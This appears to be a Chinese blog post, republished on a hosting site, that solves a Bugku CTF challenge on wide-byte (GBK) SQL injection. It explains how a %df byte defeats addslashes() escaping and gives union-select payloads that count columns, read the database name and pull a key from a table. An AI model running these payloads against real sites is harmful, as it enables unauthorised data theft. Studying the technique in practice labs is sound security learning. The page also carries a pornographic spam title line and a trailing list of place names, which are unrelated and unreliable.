91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

寬字節注入解析

發布時間:2020-08-09 17:11:44 來源:網絡 閱讀:3189 作者:菜鵝小生 欄目:安全技術
在一個CTF練習的網站,看到了一個寬字節注入的題目,我是一個web萌新,沒什么經驗,一開始也沒有想到是寬字節,還是一位朋友給我提到的,讓我猛然大悟,咳咳。。。做一些總結。

練習題目網站地址:http://ctf.bugku.com。
一、了解一下寬字節注入原理
前提
1、我們都知道,在防御SQL注入的時候,大多說都是使用的過濾特殊字符,或者使用函數將特殊字符轉化為實體,就是說在字符轉義,添加‘\’。這里第一條就是有這個機制。
2、設置寬字節字符集,這里為GBK字符集,GBK字符集占用兩個字節。關鍵就在于這個設置字符集。通常有很多方法可以設置,例如:
(1) mysql_query,如mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。

(2) mysql_set_charset,如mysql_set_charset("gbk",$conn)。
實現過程:當我們測試的時候,輸入“%df‘”,這個時候如果php函數是使用的addslashes()的時候,會在冒號的前面加上’\’。也就變成了%df\’ 。對應的編碼是%df%5c’.這時候網站字符集是GBK,MYSQL使用的編碼也是GBK的話,就會認為%df\是一個漢“運’”,這樣的話,單引號前面的\就不起作用了,從而轉義失敗,題目就會出現報錯信息。
我們就以網站的題目測試一下:

1、查看網頁源碼
寬字節注入解析
出現字符集gb2312,這時候就應該想到寬字節注入
2、報錯測試可注入
寬字節注入解析

出現了報錯信息,因為構成的語句中會多出一個單引號。例如查詢語句為:

$name=addslashes($_POST[‘name’])
Select * from user  where name=’$name’

將我們的%df’傳遞進去就變成了:

Select * from user where name=’%df\’’

這樣我們的單引號和前面的閉合,多出一個原來的單引號,報錯。
3、查詢字段數:

%df’ order by 2 %23

這里%23表示注釋,意指去將后面的語句注釋掉包括什么多出的單引號和limit限制只能查詢一行的語句。
寬字節注入解析
經過幾次測試,確定字段數為2.
4、判斷數據庫:

%df’ union select 1,database() %23

寬字節注入解析
得到數據庫的 名字。

5、接著根據題目提示,給出了表名和字段名,可以直接查詢字段內容

%df’ union select 1,string from sql5.key where id=1 %23

寬字節注入解析

個人見解

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

仁怀市| 宁武县| 五峰| 富宁县| 青浦区| 华阴市| 黎城县| 济南市| 邓州市| 和平县| 宿迁市| 兴城市| 云林县| 贡嘎县| 桑植县| 吉安县| 房山区| 桐梓县| 交城县| 陕西省| 如东县| 武冈市| 施秉县| 南和县| 临海市| 金堂县| 民丰县| 山西省| 永和县| 康平县| 新民市| 泊头市| 吉木萨尔县| 宁南县| 清镇市| 聊城市| 洛宁县| 涟源市| 七台河市| 涞源县| 霍城县|